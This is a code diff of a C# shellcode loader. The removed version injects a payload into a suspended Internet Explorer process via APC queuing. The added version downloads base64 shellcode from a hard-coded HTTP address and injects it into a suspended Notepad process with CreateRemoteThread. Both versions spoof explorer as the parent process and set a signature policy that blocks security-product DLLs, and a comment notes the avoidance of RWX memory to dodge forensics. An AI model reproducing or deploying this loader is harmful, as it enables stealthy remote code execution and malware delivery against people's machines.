@@ -1,249 +1,241 @@
using System ;
using System . IO ;
using System . Net ;
using System . Diagnostics ;
using System . Reflection ;
using System . IO . Compression ;
using System . Runtime . InteropServices ;
public class TestClass
public class Payload
{
class Win32 {
public static UInt32 MEM_COMMIT = 0x1000 ;
//private static UInt32 PAGE_EXECUTE_READWRITE = 0x40; //I'm not using this #DFIR ;-)
public static UInt32 PAGE_READWRITE = 0x04 ;
public static UInt32 PAGE_EXECUTE_READ = 0x20 ;
[ Flags ]
public enum ProcessAccessFlags : uint
public Payload ( )
{
All = 0x001F0FFF ,
Terminate = 0x00000001 ,
CreateThread = 0x00000002 ,
VirtualMemoryOperation = 0x00000008 ,
VirtualMemoryRead = 0x00000010 ,
VirtualMemoryWrite = 0x00000020 ,
DuplicateHandle = 0x00000040 ,
CreateProcess = 0x000000080 ,
SetQuota = 0x00000100 ,
SetInformation = 0x00000200 ,
QueryInformation = 0x00000400 ,
QueryLimitedInformation = 0x00001000 ,
Synchronize = 0x00100000
var processInfo = CreateTargetProcess ( @"C:\Windows\System32\notepad.exe" ) ;
var shellcode = GetShellcode ( "http://192.168.88.130:8080/shellcode.txt" ) ;
Inject ( processInfo , shellcode ) ;
}
[ Flags ]
public enum ProcessCreationFlags : uint
public static Win32 . PROCESS_INFORMATION CreateTargetProcess ( string targetProcess )
{
var startInfoEx = new Win32 . STARTUPINFOEX ( ) ;
var processInfo = new Win32 . PROCESS_INFORMATION ( ) ;
startInfoEx . StartupInfo . cb = ( uint ) Marshal . SizeOf ( startInfoEx ) ;
var lpValue = Marshal . AllocHGlobal ( IntPtr . Size ) ;
try
{
var processSecurity = new Win32 . SECURITY_ATTRIBUTES ( ) ;
var threadSecurity = new Win32 . SECURITY_ATTRIBUTES ( ) ;
processSecurity . nLength = Marshal . SizeOf ( processSecurity ) ;
threadSecurity . nLength = Marshal . SizeOf ( threadSecurity ) ;
var lpSize = IntPtr . Zero ;
Win32 . InitializeProcThreadAttributeList ( IntPtr . Zero , 2 , 0 , ref lpSize ) ;
startInfoEx . lpAttributeList = Marshal . AllocHGlobal ( lpSize ) ;
Win32 . InitializeProcThreadAttributeList ( startInfoEx . lpAttributeList , 2 , 0 , ref lpSize ) ;
Marshal . WriteIntPtr ( lpValue , new IntPtr ( ( long ) Win32 . BinarySignaturePolicy . BLOCK_NON_MICROSOFT_BINARIES_ALLOW_STORE ) ) ;
Win32 . UpdateProcThreadAttribute (
startInfoEx . lpAttributeList ,
0 ,
( IntPtr ) Win32 . ProcThreadAttribute . MITIGATION_POLICY ,
lpValue ,
( IntPtr ) IntPtr . Size ,
IntPtr . Zero ,
IntPtr . Zero
) ;
var parentHandle = Process . GetProcessesByName ( "explorer" ) [ 0 ] . Handle ;
lpValue = Marshal . AllocHGlobal ( IntPtr . Size ) ;
Marshal . WriteIntPtr ( lpValue , parentHandle ) ;
Win32 . UpdateProcThreadAttribute (
startInfoEx . lpAttributeList ,
0 ,
( IntPtr ) Win32 . ProcThreadAttribute . PARENT_PROCESS ,
lpValue ,
( IntPtr ) IntPtr . Size ,
IntPtr . Zero ,
IntPtr . Zero
) ;
Win32 . CreateProcess (
targetProcess ,
null ,
ref processSecurity ,
ref threadSecurity ,
false ,
Win32 . CreationFlags . ExtendedStartupInfoPresent | Win32 . CreationFlags . CreateSuspended ,
IntPtr . Zero ,
null ,
ref startInfoEx ,
out processInfo
) ;
}
catch ( Exception e )
{
Console . Error . WriteLine ( e . StackTrace ) ;
}
finally
{
Win32 . DeleteProcThreadAttributeList ( startInfoEx . lpAttributeList ) ;
Marshal . FreeHGlobal ( startInfoEx . lpAttributeList ) ;
Marshal . FreeHGlobal ( lpValue ) ;
Console . WriteLine ( "{0} started" , processInfo . dwProcessId ) ;
}
return processInfo ;
}
public static void Inject ( Win32 . PROCESS_INFORMATION targetProcess , byte [ ] shellcode )
{
var allocatedRegion = Win32 . VirtualAllocEx ( targetProcess . hProcess , IntPtr . Zero , ( uint ) shellcode . Length , Win32 . AllocationType . Commit | Win32 . AllocationType . Reserve , Win32 . MemoryProtection . ReadWrite ) ;
UIntPtr bytesWritten ;
Win32 . WriteProcessMemory ( targetProcess . hProcess , allocatedRegion , shellcode , ( uint ) shellcode . Length , out bytesWritten ) ;
Win32 . MemoryProtection oldProtect ;
Win32 . VirtualProtectEx ( targetProcess . hProcess , allocatedRegion , ( uint ) shellcode . Length , Win32 . MemoryProtection . ExecuteRead , out oldProtect ) ;
Win32 . CreateRemoteThread ( targetProcess . hProcess , IntPtr . Zero , 0 , allocatedRegion , IntPtr . Zero , 0 , IntPtr . Zero ) ;
}
public static byte [ ] GetShellcode ( string url )
{
ZERO_FLAG = 0x00000000 ,
CREATE_BREAKAWAY_FROM_JOB = 0x01000000 ,
CREATE_DEFAULT_ERROR_MODE = 0x04000000 ,
CREATE_NEW_CONSOLE = 0x00000010 ,
CREATE_NEW_PROCESS_GROUP = 0x00000200 ,
CREATE_NO_WINDOW = 0x08000000 ,
CREATE_PROTECTED_PROCESS = 0x00040000 ,
CREATE_PRESERVE_CODE_AUTHZ_LEVEL = 0x02000000 ,
CREATE_SEPARATE_WOW_VDM = 0x00001000 ,
CREATE_SHARED_WOW_VDM = 0x00001000 ,
CREATE_SUSPENDED = 0x00000004 ,
CREATE_UNICODE_ENVIRONMENT = 0x00000400 ,
DEBUG_ONLY_THIS_PROCESS = 0x00000002 ,
DEBUG_PROCESS = 0x00000001 ,
DETACHED_PROCESS = 0x00000008 ,
EXTENDED_STARTUPINFO_PRESENT = 0x00080000 ,
INHERIT_PARENT_AFFINITY = 0x00010000
WebClient client = new WebClient ( ) ;
client . Proxy = WebRequest . GetSystemWebProxy ( ) ;
client . Proxy . Credentials = CredentialCache . DefaultCredentials ;
string compressedEncodedShellcode = client . DownloadString ( url ) ;
return Convert . FromBase64String ( compressedEncodedShellcode ) ;
}
}
public class Win32
{
[ DllImport ( "kernel32.dll" , SetLastError = true ) ]
public static extern bool InitializeProcThreadAttributeList ( IntPtr lpAttributeList , int dwAttributeCount , int dwFlags , ref IntPtr lpSize ) ;
[ DllImport ( "kernel32.dll" , SetLastError = true ) ]
public static extern bool UpdateProcThreadAttribute ( IntPtr lpAttributeList , uint dwFlags , IntPtr Attribute , IntPtr lpValue , IntPtr cbSize , IntPtr lpPreviousValue , IntPtr lpReturnSize ) ;
[ DllImport ( "kernel32.dll" ) ]
public static extern bool CreateProcess ( string lpApplicationName , string lpCommandLine , ref SECURITY_ATTRIBUTES lpProcessAttributes , ref SECURITY_ATTRIBUTES lpThreadAttributes , bool bInheritHandles , CreationFlags dwCreationFlags , IntPtr lpEnvironment , string lpCurrentDirectory , [ In ] ref STARTUPINFOEX lpStartupInfo , out PROCESS_INFORMATION lpProcessInformation ) ;
[ DllImport ( "kernel32.dll" , SetLastError = true ) ]
public static extern bool DeleteProcThreadAttributeList ( IntPtr lpAttributeList ) ;
[ DllImport ( "kernel32.dll" ) ]
public static extern IntPtr VirtualAllocEx ( IntPtr hProcess , IntPtr lpAddress , uint dwSize , AllocationType flAllocationType , MemoryProtection flProtect ) ;
[ DllImport ( "kernel32.dll" , SetLastError = true ) ]
public static extern bool WriteProcessMemory ( IntPtr hProcess , IntPtr lpBaseAddress , byte [ ] lpBuffer , uint nSize , out UIntPtr lpNumberOfBytesWritten ) ;
[ DllImport ( "kernel32.dll" ) ]
public static extern bool VirtualProtectEx ( IntPtr hProcess , IntPtr lpAddress , uint dwSize , MemoryProtection flNewProtect , out MemoryProtection lpflOldProtect ) ;
[ DllImport ( "kernel32.dll" , SetLastError = true , CallingConvention = CallingConvention . StdCall ) ]
public static extern IntPtr CreateRemoteThread ( IntPtr hProcess , IntPtr lpThreadAttributes , uint dwStackSize , IntPtr lpStartAddress , IntPtr lpParameter , uint dwCreationFlags , IntPtr lpThreadId ) ;
[ StructLayout ( LayoutKind . Sequential ) ]
public struct PROCESS_INFORMATION
{
public IntPtr hProcess ;
public IntPtr hThread ;
public uint dwProcessId ;
public uint dwThreadId ;
public int dwProcessId ;
public int dwThreadId ;
}
[ StructLayout ( LayoutKind . Sequential ) ]
public struct STARTUPINFO
{
public uint cb ;
public string lpReserved ;
public string lpDesktop ;
public string lpTitle ;
public IntPtr lpReserved ;
public IntPtr lpDesktop ;
public IntPtr lpTitle ;
public uint dwX ;
public uint dwY ;
public uint dwXSize ;
public uint dwYSize ;
public uint dwXCountChars ;
public uint dwYCountChars ;
public uint dwFillAttribute ;
public uint dwFillAttributes ;
public uint dwFlags ;
public short wShowWindow ;
public short cbReserved2 ;
public ushort wShowWindow ;
public ushort cbReserved ;
public IntPtr lpReserved2 ;
public IntPtr hStdInput ;
public IntPtr hStdOutput ;
public IntPtr hStdError ;
public IntPtr hStdErr ;
}
[ Flags ]
public enum ThreadAccess : int
[ StructLayout ( LayoutKind . Sequential ) ]
public struct STARTUPINFOEX
{
TERMINATE = ( 0x0001 ) ,
SUSPEND_RESUME = ( 0x0002 ) ,
GET_CONTEXT = ( 0x0008 ) ,
SET_CONTEXT = ( 0x0010 ) ,
SET_INFORMATION = ( 0x0020 ) ,
QUERY_INFORMATION = ( 0x0040 ) ,
SET_THREAD_TOKEN = ( 0x0080 ) ,
IMPERSONATE = ( 0x0100 ) ,
DIRECT_IMPERSONATION = ( 0x0200 )
public STARTUPINFO StartupInfo ;
public IntPtr lpAttributeList ;
}
[ DllImport ( "kernel32.dll" , SetLastError = true ) ]
public static extern IntPtr OpenThread ( ThreadAccess dwDesiredAccess , bool bInheritHandle ,
int dwThreadId ) ;
[ DllImport ( "kernel32.dll" , SetLastError = true ) ]
public static extern bool WriteProcessMemory (
IntPtr hProcess ,
IntPtr lpBaseAddress ,
byte [ ] lpBuffer ,
int nSize ,
out IntPtr lpNumberOfBytesWritten ) ;
[ DllImport ( "kernel32.dll" ) ]
public static extern IntPtr QueueUserAPC ( IntPtr pfnAPC , IntPtr hThread , IntPtr dwData ) ;
[ DllImport ( "kernel32" ) ]
public static extern IntPtr VirtualAlloc ( UInt32 lpStartAddr ,
Int32 size , UInt32 flAllocationType , UInt32 flProtect ) ;
[ DllImport ( "kernel32.dll" , SetLastError = true ) ]
public static extern IntPtr VirtualAllocEx ( IntPtr hProcess , IntPtr lpAddress ,
Int32 dwSize , UInt32 flAllocationType , UInt32 flProtect ) ;
[ DllImport ( "kernel32.dll" , SetLastError = true ) ]
public static extern IntPtr OpenProcess (
ProcessAccessFlags processAccess ,
bool bInheritHandle ,
int processId
) ;
[ DllImport ( "kernel32.dll" , SetLastError = true ) ]
public static extern bool InitializeProcThreadAttributeList ( IntPtr lpAttributeList , int dwAttributeCount , int dwFlags , ref IntPtr lpSize ) ;
[ DllImport ( "kernel32.dll" , SetLastError = true ) ]
public static extern bool UpdateProcThreadAttribute ( IntPtr lpAttributeList , uint dwFlags , IntPtr Attribute , IntPtr lpValue , IntPtr cbSize , IntPtr lpPreviousValue , IntPtr lpReturnSize ) ;
[ DllImport ( "kernel32.dll" ) ]
public static extern bool CreateProcess ( string lpApplicationName , string lpCommandLine , ref SECURITY_ATTRIBUTES lpProcessAttributes , ref SECURITY_ATTRIBUTES lpThreadAttributes , bool bInheritHandles , ProcessCreationFlags dwCreationFlags , IntPtr lpEnvironment , string lpCurrentDirectory , [ In ] ref STARTUPINFOEX lpStartupInfo , out PROCESS_INFORMATION lpProcessInformation ) ;
[ DllImport ( "kernel32.dll" ) ]
public static extern uint ResumeThread ( IntPtr hThread ) ;
[ DllImport ( "kernel32.dll" ) ]
public static extern uint SuspendThread ( IntPtr hThread ) ;
[ DllImport ( "kernel32.dll" ) ]
public static extern bool VirtualProtectEx ( IntPtr hProcess , IntPtr lpAddress ,
int dwSize , uint flNewProtect , out uint lpflOldProtect ) ;
[ StructLayout ( LayoutKind . Sequential ) ]
public struct STARTUPINFOEX
{
public STARTUPINFO StartupInfo ;
public IntPtr lpAttributeList ;
}
[ StructLayout ( LayoutKind . Sequential ) ]
public struct SECURITY_ATTRIBUTES
{
public int nLength ;
public IntPtr lpSecurityDescriptor ;
public int bInheritHandle ;
}
[ Flags ]
public enum ProcThreadAttribute : int
{
MITIGATION_POLICY = 0x20007 ,
PARENT_PROCESS = 0x00020000
}
public struct SECURITY_ATTRIBUTES
{
public int nLength ;
public IntPtr lpSecurityDescriptor ;
public int bInheritHandle ;
}
[ Flags ]
public enum BinarySignaturePolicy : ulong
{
BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON = 0x100000000000 ,
BLOCK_NON_MICROSOFT_BINARIES_ALLOW_STORE = 0x300000000000
}
[ Flags ]
public enum ProcThreadAttribute : int
{
MITIGATION_POLICY = 0x20007 ,
PARENT_PROCESS = 0x00020000
}
public TestClass ( )
{
string a = "" ;
byte [ ] dhu = System . Convert . FromBase64String ( a ) ;
// Target process to inject into
string processpath = "C:/Program Files/Internet Explorer/iexplore.exe" ;
Win32 . STARTUPINFOEX si = new Win32 . STARTUPINFOEX ( ) ;
Win32 . PROCESS_INFORMATION pi = new Win32 . PROCESS_INFORMATION ( ) ;
si . StartupInfo . cb = ( uint ) Marshal . SizeOf ( si ) ;
[ Flags ]
public enum BinarySignaturePolicy : ulong
{
BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON = 0x100000000000 ,
BLOCK_NON_MICROSOFT_BINARIES_ALLOW_STORE = 0x300000000000
}
var lpValue = Marshal . AllocHGlobal ( IntPtr . Size ) ;
[ Flags ]
public enum CreationFlags : uint
{
CreateSuspended = 0x00000004 ,
DetachedProcess = 0x00000008 ,
CreateNoWindow = 0x08000000 ,
ExtendedStartupInfoPresent = 0x00080000
}
[ Flags ]
public enum AllocationType
{
Commit = 0x1000 ,
Reserve = 0x2000 ,
Decommit = 0x4000 ,
Release = 0x8000 ,
Reset = 0x80000 ,
Physical = 0x400000 ,
TopDown = 0x100000 ,
WriteWatch = 0x200000 ,
LargePages = 0x20000000
}
var processSecurity = new Win32 . SECURITY_ATTRIBUTES ( ) ;
var threadSecurity = new Win32 . SECURITY_ATTRIBUTES ( ) ;
processSecurity . nLength = Marshal . SizeOf ( processSecurity ) ;
threadSecurity . nLength = Marshal . SizeOf ( threadSecurity ) ;
var lpSize = IntPtr . Zero ;
Win32 . InitializeProcThreadAttributeList ( IntPtr . Zero , 2 , 0 , ref lpSize ) ;
si . lpAttributeList = Marshal . AllocHGlobal ( lpSize ) ;
Win32 . InitializeProcThreadAttributeList ( si . lpAttributeList , 2 , 0 , ref lpSize ) ;
Marshal . WriteIntPtr ( lpValue , new IntPtr ( ( long ) Win32 . BinarySignaturePolicy . BLOCK_NON_MICROSOFT_BINARIES_ALLOW_STORE ) ) ;
//Marshal.WriteIntPtr(lpValue, IntPtr.Zero);
Win32 . UpdateProcThreadAttribute (
si . lpAttributeList ,
0 ,
( IntPtr ) Win32 . ProcThreadAttribute . MITIGATION_POLICY ,
lpValue ,
( IntPtr ) IntPtr . Size ,
IntPtr . Zero ,
IntPtr . Zero
) ;
var parentHandle = Process . GetProcessesByName ( "explorer" ) [ 0 ] . Handle ;
lpValue = Marshal . AllocHGlobal ( IntPtr . Size ) ;
Marshal . WriteIntPtr ( lpValue , parentHandle ) ;
Win32 . UpdateProcThreadAttribute (
si . lpAttributeList ,
0 ,
( IntPtr ) Win32 . ProcThreadAttribute . PARENT_PROCESS ,
lpValue ,
( IntPtr ) IntPtr . Size ,
IntPtr . Zero ,
IntPtr . Zero
) ;
// Create new process in suspended state to inject into
bool success = Win32 . CreateProcess ( processpath , null ,
ref processSecurity , ref threadSecurity ,
false ,
Win32 . ProcessCreationFlags . EXTENDED_STARTUPINFO_PRESENT | Win32 . ProcessCreationFlags . CREATE_SUSPENDED ,
IntPtr . Zero , null , ref si , out pi ) ;
// Allocate memory within process and write dhu
IntPtr resultPtr = Win32 . VirtualAllocEx ( pi . hProcess , IntPtr . Zero , dhu . Length , Win32 . MEM_COMMIT , Win32 . PAGE_READWRITE ) ;
IntPtr bytesWritten = IntPtr . Zero ;
bool resultBool = Win32 . WriteProcessMemory ( pi . hProcess , resultPtr , dhu , dhu . Length , out bytesWritten ) ;
// Open thread
IntPtr sht = Win32 . OpenThread ( Win32 . ThreadAccess . SET_CONTEXT , false , ( int ) pi . dwThreadId ) ;
uint oldProtect = 0 ;
// Modify memory permissions on allocated dhu
resultBool = Win32 . VirtualProtectEx ( pi . hProcess , resultPtr , dhu . Length , Win32 . PAGE_EXECUTE_READ , out oldProtect ) ;
// Assign address of dhu to the target thread apc queue
IntPtr ptr = Win32 . QueueUserAPC ( resultPtr , sht , IntPtr . Zero ) ;
IntPtr ThreadHandle = pi . hThread ;
Win32 . ResumeThread ( ThreadHandle ) ;
[ Flags ]
public enum MemoryProtection
{
Execute = 0x10 ,
ExecuteRead = 0x20 ,
ExecuteReadWrite = 0x40 ,
ExecuteWriteCopy = 0x80 ,
NoAccess = 0x01 ,
ReadOnly = 0x02 ,
ReadWrite = 0x04 ,
WriteCopy = 0x08 ,
GuardModifierflag = 0x100 ,
NoCacheModifierflag = 0x200 ,
WriteCombineModifierflag = 0x400
}
}